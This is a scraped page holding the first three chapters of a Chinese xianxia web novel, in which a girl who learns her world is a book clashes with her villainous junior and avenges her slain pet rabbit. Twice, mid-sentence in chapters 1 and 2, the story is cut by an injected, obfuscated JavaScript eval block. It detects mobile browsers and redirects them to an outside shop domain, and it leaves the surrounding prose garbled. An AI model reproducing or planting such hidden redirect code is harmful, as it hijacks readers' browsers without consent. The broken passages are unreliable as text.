《我天天PUA主角团》 1. 第 1 章 陌山道君又捡了个小人儿回仙宗。 伊莲是最后知道这个消息的人，当时她恰巧从噩梦中苏醒，起身拿笔，想记下些什么，却又不知从头开始。一旁的弟子揶揄她：“道君捡了个男孩，伊莲，你要当师姐了。” 伊莲知道，她还隐约知道这个男孩的姓名以及他们的将来。 梦中所闻，初醒时还记得五六分，待她拿出纸笔，却几乎忘却一切。她只记得她在一本名为《慕道》的书中，与她以往看过的书略有不同，女主虞月清不是老套的白莲花人设。她修炼合欢宗功法，睚眦必报，阴险狡诈，未来会叛出师门。 而男主，则是慕渊慕师兄，他是慕道仙宗的首席大弟子，光风霁月，高雅温柔，却偏偏被毒蛇一样的女主吸引。 一个不同寻常的故事，一段堪称诅咒的爱情绝唱。 故事的结局似乎很美好，除了伊莲和那个即将到来的男孩。 伊莲歪着脑袋，一切的一切都不甚真切，让她觉得自己仿佛还处于梦境之中，她的世界，怎么可能只是一本书呢。而她，又怎么可能和那个男孩狼狈为奸呢。 伊莲重新拿起笔，在纸上簌簌写下几行字，满意地笑了。 * 醉醺醺的陌山道君把捡回来的小人儿交给伊莲，自己再度闭关。伊莲已经习惯了他的神出鬼没，并没在意，直接打量起小男孩。这个小男孩将来会成为修仙界的噩梦，但是此时，他不过是她一个小小的师弟罢了。 师姐教导师弟，天经地义。她可以避免书中的一切不好。 男孩一身黑衣，黑衣像是丝绸一般光泽柔软，不时有暗纹流光浮于表面。这衣裳应该是一件法器，伊莲蹭地一下嫉妒了。师父对她就没有这么好，据说当年他把她捡回来时，身上披着只有一块粗布麻衣。 男孩也在打量她，精致的一张小脸，眼神黑黝黝的，似乎在懵懵懂懂地探索这个未知的世界。 “我叫伊莲，从此以后你就是我师弟了。” “我叫江黎。”男孩有样学样。 伊莲掏出刚刚撰写的守则，清清嗓子，郑重其事地递给他：“此乃仙宗守则，凡我子弟，必须遵守，你发誓，要牢记于心”。 江黎饶有兴致地接过，守则赫然写着三条规则。 一：要永远永远听师姐的话。 二：需日行一善。 三：每天给伊莲买一块她最喜欢的梨花膏。 江黎：…… 江黎直接把守则撕掉了。 伊莲不敢置信，这个屁大点的江黎居然如此恶劣，以后还得了，她怎么阻止他摧残修仙界。想到此，她决定给他一个小教训，要杀一杀他的锐气。 她手心一翻，一捧清水从天而来，直奔江黎面门。 江黎歪歪脑袋，丝毫没放在眼里，甚至都没动作，那股水就直接原路调头，以不可阻挡之势扑向伊莲。 伊莲被浇了个透心凉。 伊莲资质很差，若非当年师父陌山道君路过一片莲花池，看她可怜，才把她抱回来收作亲传弟子，不然以她的资质，她可能都进不了仙宗的外门。 但是绕如此，她也是依旧实打实跟着众多学堂师父学过来的，虽说术法方面才初初涉及，但是按理说，她不应该打不过这个不知道从哪儿来的江黎才对。 反派果然是反派，天赋异禀，看他施法那淡然的样子，估计在遇见师父之前就有机缘巧遇了。 伊莲叹了口气，人人都有机遇，怎么就她没有呢。 江黎看着伊莲，就见这个刚刚还拿出一本守则试图掌控他的女孩，在被反击之后，脸上有愕然，随后是失望，再然后她似乎下定了某种决心，居然直接转身离去，理也不理他。 江黎觉得有趣，跟上她的步伐，戳她的后背：“你怎么不继续攻击我了？” 伊莲闷头走，并不理他。她想的很好，一开始，她决心利用他刚刚进门，还处于一种懵懂无知的状态，引他向善。虽然也有部分私欲，就比如吃点梨花膏啦，要知道书里的江黎，可是坐拥无数财宝法器。要是能把江黎控制住，那就万事大吉，书中的一切就都与她无关了。 但是经过刚刚的较量，显然她区区一介凡夫俗子，是无法抗衡书中毁天灭地的男女主和反派等一众角色的。 既如此，那就完全不理他们管他，脱离故事线，管好自己的一亩三分田。反正她也不是找事的人，至于这个新入门的小反派，与她何干。 伊莲想得很好，但是江黎不这么想。见她不理他，他直接上手推她。 伊莲猝不及防被推了一下，险些滑倒。本来她想暴打这个小反派的，但是想了一下直接原地加速，跑得远远的。 瘟神，她惹不起还躲不起吗。 * 距离江黎进门已经过去十天，这十天二人也到相安无事。伊莲的学业很忙，每天她都早出晚归，反派的出现给了她一定的危机感，以至于她都冷落了她的灵宠嘟嘟。 她的灵宠是一只毛茸茸的兔子，虽灵智未开，却也不会乱拉乱尿，是师父之前送给她的五岁生辰的礼物。她很喜欢嘟嘟，但是她已经两天没有看到嘟嘟了。 嘟嘟是放养状态，伊莲不愿意拘着它，所以给它定制了一个令牌。这样仙山中其他弟子或长老就可以感知到嘟嘟是有主之物，避免将它捉了去当灵宠或者误伤了嘟嘟。 等伊莲反应过来，她才惊觉已经足足有两天没看到嘟嘟了。 平日里若它跑到别的山头，过不久就会回来，或者其他弟子也会送回来，今儿这是怎么了。怀着疑问，伊莲施法。嘟嘟灵智未开，无法结契，所以她直接感应嘟嘟的令牌。 然而受限于法力不足，伊莲铆足劲，浑身周转灵气，半晌后，她睁开眼，无法感知令牌。 伊莲着急了，下学后她开始在嘟嘟可能出现的地方一点点去找。 慕道仙宗有七峰八十一脉，占地十万大山，伊莲和嘟嘟平常只在内门和亲传弟子之间的范围活动。饶是如此，要找到嘟嘟，依旧是个艰巨的任务。她找了很多仙山，问了很多弟子，时间眨眼而过，一下就是两天。终于，她来到了最不想来的一座仙山。 这里是无悔仙尊的仙府，他名下只有两名亲传弟子，一个是虞月清虞师姐，另一个就是慕渊慕师兄了。 嘟嘟平常不会来这里的。 但是她已经找遍了仙山，只有这个地方了。伊莲硬着头皮和山下的弟子说清缘由，好让她上山拜访。由于她是陌山道君亲传弟子的身份，那守山的弟子也未多做阻拦，直接让她上山。 伊莲见过慕师兄，但是都是他作为首席大弟子当众领头的时候才有一面之缘，与他并不相熟。至于虞师姐，则是从未见过，只在传闻中听过，据说她和伊莲一样，也是被无悔仙尊捡回仙宗的。 想到书中对于她的描写，伊莲几乎颤颤巍巍，毕竟她从未见过真正意义上的恶人。慕道仙宗所有的弟子以及长老，都会因为她师父是陌山道君，待她极为温和。 这座仙山地处幽僻，雾气朦胧，一个阵法出现阻挡了伊莲的脚步。 这个阵法和仙宗一贯的阵法风格不同，冰冷又黏腻的感觉，伊莲几乎想退却了。她不觉得嘟嘟会闯入这样的阵法中。 “虞师姐吗？师妹乃陌山道君坐下伊莲弟子，今日前来，想和您问下，是否有见过一只通体白色的灵宠兔子。” 话音刚落，阵法退却，层层水纹一样的雾气中，走出一个女子。 她大概十六七岁，通身红色，行走时香气弥漫，张扬的妆容下，是一双冰冷却又热情的眼眸。 伊莲被她的气势所震慑，不自觉后退。与此同时，她越发希望——嘟嘟不在这里。 可她的希望落空了。 虞月清出来时，手里还拎着一个东西。听闻伊莲一番解释，她笑着向她展示手里的白色灵宠。 “是这个小畜生吗？” 伊莲蓦地抬头，浑身血液凝结。 “师妹，对不住了，这个小畜生在我闭关的时候打扰我修炼功法，我一个没注意，出手把它打死了。”虞月清的红唇张张合合，冰霜似的脸颊逐渐浮现笑意，她把嘟嘟扔到伊莲脚边，白色皮毛立即沾上一层灰尘。 “下次可要管好你的小畜生，伊师妹，不是挂个令牌别人就不会伤了它的。” “你！”伊莲气血翻涌，“你知道它有令牌，你还杀了它？” 虞月清笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648643|156580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意不达眼底：“师妹这是在质问师姐吗？有令牌又如何，练功被打扰，万一师姐走火入魔怎么办？” “你胡说！你要练什么走火入魔的功法？你就是想杀嘟嘟！”伊莲把嘟嘟捡起来，瞪大了眼睛，“你把它放干了血！” 虞月清的身影突然瞬间逼近伊莲，她庞大的威压扑面而来，伊莲满头冷汗，在对抗自己下跪的本能同她僵持着。 “你也是个有灵宠的人，为何要这样对待我的嘟嘟？”伊莲话中已然带着哭腔。 她从未想过，虞月清居然是这样的人！ 虞月清冷笑道：“师妹，你该回去了。”话落，伊莲感觉一股强劲的风将自己送到半山之际，刚刚的场景恍若一场梦。 伊莲翻看嘟嘟的尸体，它的脖子有一道深深的割痕，几乎没有血迹。 伊莲小小的身形摇晃，再也忍不住，抱着嘟嘟哭了。 她哭了许久，思绪散发，有一瞬间她觉得嘟嘟还没死，这一切都只是噩梦。 师父很少见她，这也是他送的为数不多的礼物之一。记得嘟嘟到她身边那一天，师父要她再三保证，必须好好照顾这只灵宠，不然就不给她。 她失言了。 伊莲哭得眼睛通红，突然，一双月白色的靴子映入眼帘。 “伊师妹？”来人似乎不确定她的名字，“遇到何事，怎么哭成这样？” 他的嗓音非常温柔，说话间俯身，让自己的视线和伊莲齐平。 十六七岁的少年，书中高雅温柔，处处留情的慕渊师兄。伊莲咬牙，什么光风霁月，高雅温柔，最后不还是和虞月清纠缠在一起！ 她未平息的怒火直接蔓延到慕渊身上，语气恶劣：“虞月清杀了我的灵宠，放干了嘟嘟的血！” 她没有叫师姐，这显然不合礼数。 慕渊听完她的话陷入沉默，他接过伊莲手中的兔子，兔子僵硬，没有施救的可能。 他感知到虞月清的存在。一身红衣的女子依偎在远处的一棵树旁，纷飞的落叶间，隐隐可见她挑衅的神色。 慕渊向来不问俗事，如同他的师尊一样，所以也不懂如何处理这样的纠葛。 看着哭的伤心的伊莲，他试探着安慰：“师妹，山下的灵宠堂有许多兔子，你明日若有空再去选上一只，记在师兄名下可好？” “我不！”伊莲哭得更厉害了，或许是有了宣泄口，她大声哭诉着：“嘟嘟是不可替代的！” 慕渊从未做过哄小女孩这番事，被拒绝之后自是一番头痛。突然他想到什么，从乾坤袋里取出一个手链递给伊莲。 “这个叫宠链，若你想，它可以让周边的灵宠亲近你，甚至是有主的。师妹，你的人生还长，还会遇到其他想要的灵宠。下次你若遇见心仪的，拿出这条宠链，你和它结契的可能就会大大增加。” 伊莲抽噎地接过手链，“高级灵宠也可以吗？” “只要你的修为大过灵宠就可以。” 伊莲的哭声慢慢止住了，她把手链放进怀里，突然扬声道：“这不代表我原谅了虞月清！” 慕渊有些好笑：“这和虞师妹无关，师兄无权帮你决定和虞师妹之间的关系。这只是我送师妹的一个小礼物。” * 伊莲回到自己的后山，她刨了一个大坑，把嘟嘟和它平日里爱吃的仙草放进去，内心悲痛。 她能怎么做呢？她又能做什么呢？ 轻盈的脚步声响起，伊莲冷冷回头，就见江黎抱胸而来，他眼中倒映着周边的烛光，神色倨傲。 “我要是灵宠，有你这么一个主人，还不如早点自尽，免得死在他人手上，”他看了一眼嘟嘟的伤口，“还是放血而死。” “你！”伊莲愤怒地站起来，“你闭嘴！” 江黎冷笑：“废物主人，你甚至都不敢报仇。” 这番话狠狠地刺激了伊莲，她脸色涨得通红，失去嘟嘟的愤怒让她脱口而出：“谁说我不敢报仇的！” 江黎便笑道：“我听说她也有一只灵宠。” 伊莲重重地坐下，她有些愣神，好一会儿迟疑的表情转为坚定。她抓起慕师兄送的手链，月色下，银白色的宠链闪着冰冷的光泽。 2. 第 2 章 伊莲说干就干，她趴在桌上晒刷刷写着什么，江黎好奇地抽出椅子，站在她对面。 伊莲啪一下把纸反过来，一脸警惕。 江黎一脸威胁：“难道你不打算带上我？” 伊莲莫名其妙：“我为什么要带上你，告诉你，我一个人就能完成这件事。”说罢，举起手中的纸晃了晃。 江黎从椅子上下来，乘着伊莲不注意，一把把纸夺过来。伊莲去抢，他用手推开她，一目十行。 但很快，江黎就放弃了。因为——他不认识这个字体。 他把纸塞回伊莲手里，极其嚣张：“念。” 伊莲直接把纸撕的稀巴烂，使劲推了江黎一把，江黎被推得一个踉跄，跌倒在地。他一脸不可置信。 “我进门比你早，是你师姐！你要尊重我。”伊莲今天受的气够多了，她寻思，决计不能让小反派在童年的时候就压制她。 江黎沉默起身，他的表情彰显出此事绝不是那么容易结束。伊莲有点心虚，跟在他后头，想看看他要耍什么花招。哪知正中江黎下怀，他两手抱起砚台，洒了伊莲一身的墨水，眼神嘲笑。 砚台在地上翻滚，墨汁也洒了一地。 伊莲叫了一声，直接把江黎的头按到墨汁上，使劲摩擦。江黎的力气很大，伊莲感觉自己就在按一头小鹿。她腾出右手，“啪”地打在江黎乱动的屁股上。 江黎石化了。 “我是你师姐，听到没有？进了仙宗的门，就要兄友弟恭，尊师敬长。”眼见江黎毫无反应，伊莲再度拍了一下他的屁股。这次的力度十分大，有报复嫌疑。打完后，也不管石化的江黎，一溜儿烟跑出山头，前往藏书阁。 她刚刚列了几点重要的步骤，必须要小心行事。 嘟嘟，等着我帮你报仇！ 首先，第一件事就是她不能让虞月清知道是她干的。藏书阁里记载着许多隐藏气息和易容的方法。伊莲毕竟才七岁，功力不够，她在书上找到最适合她的方法还是低级法宝，直接易容即可。 恰巧，伊莲刚好有。伊莲再次感谢自己亲传弟子的身份，让她这样一个废柴，都能有机会获得各大长老赠送的法宝法器。 亲传弟子和内门弟子平日里都需要去学堂，虞月清也不例外。她的灵宠可能会被随身带着，伊莲只能去碰碰运气。 第二天一早，伊莲成功摸上无悔仙尊的仙府。 仙山寂静无声，偶尔有鸟啼划破天际。寒风卷着枝叶朝伊莲袭来，她被冻得发抖，跺跺脚，来到一棵大树底下。她肯定是破不了虞月清的阵法的，唯一能做的就是守株待兔。 她掏出一把灵石握在手中运转，宠链开始散发着黯淡的光芒。冥冥之中，伊莲在这一刹那，感知到一个危险而又恐怖的存在。 这股感觉如此怪异，转瞬即逝，容不得伊莲细细思索。很快，她就被虞月清洞府里的一个存在吸引。 是她的灵宠，虞月清没有带去。此刻，它盘在洞府的一角，兴许是感知到了宠链，抬起了头。 伊莲并不能看见虞月清的灵宠具体是什么，她兴奋地盘坐在树下，十分有耐心。 一只冰凉的手搭上了她的肩膀。 伊莲差点被吓得跳起，回过头，气急败坏：“你这么会在这里？” 江黎一脸无辜：“师姐在哪里，我就要在哪里。” “你怎么上来的？守山的弟子登记你了吗？”伊莲咬牙，这个家伙，如果收山的弟子都看到他了，那她今天还报什么仇！虞月清发现灵宠不见了自然会寻到他们二人身上。 思及此，恨不能给他几拳。 江黎却不说话了，两手按着她的肩膀，将她调转方向，指着面前的一条蟒蛇说道：“它来了。” 伊莲万万没想到虞月清的灵宠居然是一条蟒蛇。拳头粗，体长约一人长。此刻，它盘在地上，漆黑的珠子打量着二人。 “你们是何人？”蟒蛇开口道。 伊莲呆住了，本来她想的是虞月清的灵宠最多也就开灵智，没想到已经可以开口说话了。她突然觉得自己的报复行动太草率了。像这种能口吐人言的，能保护主人，辅助主人修炼，虞月清发现了势必不会善罢甘休的。 哪知江黎直接从怀里掏出一个粗布麻袋，一股脑儿把蟒蛇丢进去。蟒蛇在里面挣扎，他把袋子捆好，丢到伊莲面前，扬扬下巴：“快杀。” “谁说我要杀它？”伊莲真是恨死江黎了，“我本来就是打算把它丢到别的地方放生的。” 要她做出杀灵宠这种事，她目前还做不出来。 江黎一脸“你是废物吗”的表情，抄起旁边的一根树枝，对着袋子就是一棍。本来还挣扎的蟒蛇彻底不动了。 伊莲心死了，她知道自己闯大祸了。从来没有做过此等坏事的她后悔了，如果师父知道了会这么看她？如果掌门知道了，该怎么处罚她？ “它没死，我们快找个地方放掉它。”江黎看不过去她的表情，直接上手把袋子丢到她的怀里，使劲拉她的脸，“我上来的时候守山弟子根本不在，没人知道我们来过。” 伊莲眨眨眼，也不管自己怕蛇了，扛起麻袋就跑，“快快快，我们下山去。” 二人顺利地下山，伊莲做贼一样跑到一个人迹罕至的地方，把蟒蛇叫醒。 “你和虞月清结契没？”她的表情很严肃，如果结契了，就不能怪她了。 蟒蛇乖巧地盘坐在石头边，此刻它也知道自己的命运，乖乖回答：“没有。我是被她强行收服带在身边的，她杀了我的其他族人。” “江黎，你回去吧。”伊莲松口气，她把蟒蛇背在背上，因为她人小，蟒蛇又大，麻袋几乎快要和她一个人大了，看起来很是滑稽。 “放生之事就不劳你操心了。” 伊莲本来想随便扔在一个山头的，但是现在，她有了一个更加大胆的想法。 她要出山，把它扔到慕道仙宗外，最好是俗世。 这个想法一冒头伊莲就无法控制自己，她只出过一次山，而且是在长老们的带领下去其他宗门观看比武大会的。她从来，没有去过俗世。 “不行，我要跟着师姐。”江黎一口回绝。 心神荡漾的伊莲很快就被江黎打回了现实。这个小崽子，故意和她作对是吧。 伊莲也不理他，肉痛地往身上拍了一个飞行符，一路来到仙宗外门的出口。整个仙宗被一个巨大的阵法保护，只有通过令牌才可以出去。 江黎才进门，没有令牌，反正他是出不了的。 伊莲摩拳擦掌，变幻面容之后还是少许紧张。 “师兄，等等我呀！”她朝前面一行人喊话，装作焦急地出示令牌，没等守在门口的长老看清，就急忙追出去。 那长老看了一眼伊莲，见她和那群人会和，就没有追究。 伊莲一个小孩子孤身一人是无论如何都不可能被随便放行的。 伊莲抓住其中一位师姐的裙摆，那位师姐看过来她才不好意思地松手，“看错人了，抱歉师姐。”说罢，离开队伍，朝着另一群人出发。 就这样，伊莲成功出山了。 她的笑脸戛然而止。 江黎直挺挺地就站在她对面。 伊莲惊呆了，她跑过去摸摸江黎的脑袋和脸，又摸摸他的衣服，还是不敢相信：“你是怎么出来的？” 江黎毫不客气地拍掉她的手，“这有什么难度吗？” 他盯着伊莲。他的双眸是浓郁的黑色，像是漩涡一般，容易把其他人吸入。此刻，这双静谧神秘的黑眸眯起，警告伊莲：“你若再敢丢下我，我就告诉所有人，你偷了虞月清的灵宠。” “你威胁我？”伊莲最恨别人威胁她，还是被这么一个小屁孩。 江黎眼高于顶，十分欠揍：“怎样？” 伊莲转身，“你能跟上我就来吧。”真能跟上，到了俗世有你好受的。 伊莲发现，无论她用什么样的法器，江黎都能跟上她。她不信邪，最后甚至动用十分珍惜的缩地成寸符咒，不料江黎十分精明，直接在最后一刻跳到她身上，被缩地成寸一同甩到了俗世。 伊莲施法并不流利，导致二人被摔得七荤八素的。二人在地上趴了许久，最后还是伊莲先站起来。本以为江黎这个魔鬼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648644|156580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一样的反派很快就能拍拍屁股起来，不曾想等了半天，他还是毫无动静。 伊莲把他翻过身，江黎紧闭着眼。精致的一张小脸苍白，毫无生机的样子。 他不会是死了吧？ 伊莲不由担心，脸上没见到伤口，她把江黎的衣裳脱下，细细检查起来。终于，在他的大腿下面，她看到一个十分怪异的伤口。 看起来并不严重，只是伤口给她的感觉有些不妙。 蟒蛇从麻袋里钻出来，一股脑儿往江黎伤口处钻，“让我喝点他的血，让我喝点他的血” 伊莲啪叽一下捏住蛇头，把它丢到远处，“滚。” 蟒蛇讪讪离开。 伊莲翻自己的乾坤袋，只找到一瓶伤药，还不知道是多久之前的了。她苦恼地推了推江黎，他才刚刚进门，可千万不要在她手底下出事。 她索性把乾坤袋翻了个底朝天，看有没有东西能帮上江黎。 突然，伊莲停下动作，脸上表情慢慢变得古怪。 她又试着搜查乾坤袋，没了。原本还算丰盈的乾坤袋不知为何如今变得空落落的，只有为数不多的杂物。 包括那张最最珍贵的隐身符。虽然只是一个隐身符，但它同时也是一件天阶中级法器。 法宝法器，分天地玄黄，又各分下中高三个等级。 她年幼时，学堂下达任务，要每人去林深处捉一只低阶妖兽山羊，她因为隐藏不好气息，总是惊扰到妖兽，在森林里追着它们好半天也不曾成功。 其他弟子陆陆续续捉到，妖兽们见她无法造成伤害，更是堂而皇之地聚集在她身边吃草。她站在一大群山羊之间无助地哭泣，路过的无悔道尊大抵是觉得好笑，于是随手给她一张隐身符，让她去抓妖兽。 不过伊莲没有用，而是好好地藏了起来，这是一件天阶中级法器，用它来抓山羊，简直是暴殄天物。伊莲打算等到以后进入秘境时用。 伊莲非常珍惜它，绝对不可能把它弄丢。而且，不仅那张隐身符，她还少了其他好多宝贝和符箓，都是她辛辛苦苦攒下的。 伊莲的表情逐渐扭曲，她双手无法控制地抓住江黎的肩膀，恨不能掐死他。 只有他，她只接触过他！难怪他可以不惊扰守山弟子和长老，难怪他可以轻而易举地跟上她。想来必定是用了那些法器符箓！她还以为他有什么神通，没想到不过是个神偷罢了。 伊莲的双眼里简直可以喷出火来，那么珍贵的东西，他居然随随便便用来出入仙宗大门。 她简直痛到无法呼吸，甚至想丢下江黎独自离开。走到一半，她还是扭头，气冲冲地背上江黎。 然而她本想直接把江黎送回仙宗，但是缩地成寸只有一张已经用掉，其他可以辅助行路的法器符箓也全部被偷。伊莲想回去，只能步行。 最要命的是，她连自己现在在哪里都不知道。 她背着江黎漫无目的地乱走，很快，她惊喜地发现，前面有城镇，叫雾城，而且是富足之地。她想先找个大夫给他瞧瞧，不料肩头上江黎悠悠醒来，他一双黑眸盯着伊莲的发髻，随后，手欠地扯了下。 “放我下来。”他嗓音闷闷的。 伊莲直接松手，脸色很臭，本想狠狠骂他一顿，但是看到跌落在地的小人儿一脸苍白，尖酸刻薄的话又咽了回去。 伊莲好不容易到俗世来，自然是不想浪费这个机会的，看他没什么大事，挣扎间，还是向俗世屈服，漫步走向城镇。 江黎走得慢，以防伊莲又掏出什么符箓把他丢在身后，他索性直接牵住伊莲的手。在她看向自己时，还露出一个挑衅的笑。 伊莲翻个白眼，二人在天黑前终于走进城镇。 一进入集市，扑面而来的的热闹感，一排又一排的灯笼铺陈开，照得整个城镇红彤彤的，又透着橘黄色的光芒。食物的香气，酒的香味弥漫，成衣铺，玉石铺，菜店以及各式各样的摊贩，时不时发出吆喝声，俗世如同一轴画卷缓缓在二人面前展现。 然而在这繁荣之下，伊莲嗅到了一丝不同寻常。她望向东市中最恢弘的一座宅邸，眉心微拧：“有妖气。” 3. 第 3 章 俗世热闹非凡，不乏爱恨纠葛，贪嗔痴念，因此最是吸引妖类。不过也大多是不思进取，贪图热闹的小妖罢了，妖类绝大多数还是生活在妖域中。 因此伊莲虽察觉妖类气息，但也并没有多做纠结，径直走向一个摊贩，向他问路。 一回头，江黎却不见了。 江黎被一个老爷子的小摊吸引了，他摊子上摆着各色各样的糕点，其中一个绿色的，格外吸引人，散发着幽幽淡香。老头见他喜欢，笑道：“梨花膏，一文一个。” 江黎想到头次见面伊莲写下的哪些守则里，就有一个梨花膏，他从未尝过，思及此，他问老头要了一个尝尝。微甜，没什么感觉。 他略有失望。 伊莲闻声而来，就见江黎眨着一双大眼，理所当然道：“师姐，付钱。” 老爷子笑呵呵地等他们付钱，伊莲握住拳头，把他拽到一边，低声威胁：“我告诉你，俗世的钱我没有多少！用一点少一点，你再敢瞎跑，我就丢下你不管！” 江黎死猪不怕开水烫的样子，轻描淡写道：“那我只能告诉陌山道君，你偷了虞月清的灵宠。” “我还没说你偷了我珍贵的法器符箓，”伊莲一把夺过他的梨花膏，付钱后狠狠咬了一大口，“那些东西大概价值一千颗中品灵石，回去后你就给我当牛做马还债。” 江黎置若罔闻。伊莲手戳他的脑袋，见他毫无反应，一巴掌拍在他的肩头。 江黎黑黝黝的眸子散发着危险的气息：“师姐，你若再打我，我也会打回去。” 话音未落，伊莲直接给他屁股来了一巴掌，随后打完就跑，溜进一家客栈。 客栈并不接待孩童，伊莲谎称爹娘马上就来，她先和弟弟住下再说。江黎慢悠悠地从后面赶来，伊莲只定了一间房，奈何俗世的钱财实在不够，开的还是最次的房间，吃饭洗澡都要另付。 饶是如此，她还是很开心。洗漱过后，她拿出一床被子铺在地上，扬扬下巴：“你就睡地上。” 江黎老神在在的，坐在桌前发呆，闻言冷笑一声，迅速脱衣，钻进床上，“师姐，那么好的位置，就留给你了。” 伊莲刷地把他被子掀开，犹如一个体修般，直接把江黎抱了下来。江黎很吃惊，因为他刚刚为了阻止伊莲，刻意没有减轻自己的重量。 看来这个女孩，跟她师父一样。 * 夜深人静，雾城上方飘起浓郁的白雾。灯笼已经撤去大半，只有东市最为富足的李家，还尚点着灯笼。一阵阵阴风吹过，刚刚还热闹非凡的城镇，在这一刻却显出几分诡异。 突然，一阵女子的尖叫从李宅深处传来。 “爹娘，那物，又入梦了。”深闺之中，李家女儿李念瑟瑟发抖，她惨白着一张脸，泪如雨下。 李家家主和夫人守候在她身边，听闻此言，也是被吓得抖如筛糠。 多年来，李念一直被怪梦袭扰。起先，梦里有一片极为浓郁的雾，那雾几乎要化为水，行走其间，莫不感到潮湿阴冷。李念被囚禁在没有雾气的一个角落，梦里出现了一个女童。她身形漂浮，最初李念只能看个大概，大概离她十五丈远。 后来，但凡她入梦，那女童就会以极为缓慢的速度靠近她，如同一只蜗牛。 几年过去，李念几乎要被折磨致死，她试过很多办法在梦里逃跑，但都毫无作用，只能眼睁睁看着那个女童离自己越来越近。 李家父母为她遍寻术士，也不得其法。 她已经撑着几天没合眼，但是刚刚，实在熬不过，昏迷过去。果不其然，那女童再次入梦，而这次，李念已经退无可退。 她们中间，只隔着一掌的距离。 李念有预感，下一次再如梦的话，她就会碰到自己，她会被吃掉。 “娘，救救我！”她扑进李夫人的怀抱，“孩儿好怕，她……越来越近了。”李夫人抹着眼泪，看到女儿瘦削的脸颊，眼眶上浓重的黑色，她别无他法，只能一遍遍地抱着女儿。 “老爷，你说念儿这该怎么办啊？” 李老爷抽着旱烟，眉头紧皱，“再让术士们试试看吧。” “那群术士有什么用！除了要银票——”李夫人的话在李老爷的眼神下戛然而止。她可怜的念儿，也不知是造了什么孽，遭受如此折磨。术士们大多坑蒙拐骗，李夫人真的是受够了，但是搬家拜佛，甚至让念儿带发修行，这些都试过了，一点用都没有，尽管一次次被骗，但他们还是只能一次次求助那群术士，就盼着哪天遇到个真的。 * 伊莲自梦中醒来，她感觉有东西碰到了她的手臂。 冰凉的触感。 伊莲蹭地一下坐起来，就见自己的被窝里居然窝着一条黑色的东西。那东西盘成一团，依靠着她的右手，脑袋搁在宠链上，似乎很惬意。 她俯身观察起这条小蛇一样的动物，应该是被宠链吸引而来，像蛇，又有点不同。她一点都不喜欢蛇，于是捏着蛇打算把它丢到窗外。开窗的吱呀声惊动了小蛇，它睁眼，懵懵懂懂绕着伊莲的胳膊。 伊莲打算丢掉时，突然发现原本属于江黎的被窝，此刻变得空荡荡。她举在窗外的手缩回来，一脸狐疑和震惊。 “你把我的师弟吃了？”她晃着小蛇，脑中思绪万千。 幼年反派难道因为她的觉醒，不再按故事发展，直接葬身于蛇腹。 蝴蝶效应开始了。 很快她发现自己想多了，这条小蛇直接大变活人，变成了一个精致白皙的小男孩。 伊莲不敢置信：“原来你是妖。” 书中并未写到江黎是妖，不过也有可能是她忘了，除了那本书的结局，她几乎回忆不起任何情节。 江黎坐在她面前，表情倨傲：“我可不是低劣的妖族。” “你拉倒吧，不就一条蛇？今天下午那条蟒蛇都差点把你吃了。” 江黎握拳愤怒：“人类，告诉你，我可是龙族！要不是你师父见我重伤把我掳走，你区区一介人类，哪能见到我的真容。” “你脑子坏掉了，干嘛这么说话。”伊莲可不惯着他，“我是你师姐！陌山道君是你师父！还有，江黎，你给我认清现实，你就是一条小虫子，还龙族。”她嬉笑，“高贵的龙殿下，还需要偷人修的符箓才能跟着我出门哦。” “告诉你，人类，我现在是在养伤，等伤养好了，我就离开。” 伊莲不惯着他，直接一个弹指弹他脑瓜，“小虫子，走就走，走之前记得把偷我的东西还给我。”趁着江黎反驳之前，她又道：“否则你就永远只是一只小虫子。” “我不是小虫子。” 伊莲歪着脑袋，朝他伸手：“你把东西还我，我就承认你不是。” 江黎撇头，视而不见：“都说了我在养伤，等我好了，自然会还给你。高傲的龙族可不屑于偷东西，我们只掠夺。” 虽然伊莲觉得偷东西和掠夺在她这里没有任何区别，但是江黎承认要还给她，她也不过多纠缠，不过为了以防万一，“你发誓，你以后会还给我。” 江黎冷哼：“龙族不需要发誓，我们所说的每一句话都是誓言。” 伊莲伸出小拇指，“那我们拉钩。”江黎不知道拉钩是什么，觉得有趣，学着伊莲的手势拉钩。两人刚解决完符箓的事，窗外传来哒哒哒的清脆声。 一只螃蟹举着两只钳子从屋外溜过来，眼珠子转来转去，最后锁定伊莲，飞扑到她右手边。 伊莲摘下宠链，收进乾坤袋里。本来她觉得这个宠链很好看，想平日里也带着，但是她低估了它的威力。 螃蟹飞扑失败，丝毫不觉尴尬，收拾收拾又哒哒哒跑出窗外，进入了隔壁的房间。 “隔壁也是修士。”江黎道。 贪玩的修士也会经常到俗世来，也不乏做任务的弟子。伊莲很是兴奋，或许她能结交到其他门派的修士。 清晨，二人在一楼吃完早膳，伊莲打算去集市逛逛，谁知一出门就撞到一个佩剑少年。 那少年年纪不大，估摸着十四五岁，走起路来风风火火，撞到伊莲连忙扶起她，道歉后突然眼睛一亮：“小友也是修士？”他意有所指地指着伊莲慕道仙宗的服饰。 他大抵是自来熟，“我叫廖舒意，敢问小友名字？” “伊莲。” 江黎不说话，伊莲便主动接道：“他是我的师弟，天性不爱说话，叫江黎。我们来自慕道仙宗，敢问道友来自何处。” 廖舒意拱手，“我和小妹都来自边陲小地廖家，目前师从问道仙府。” 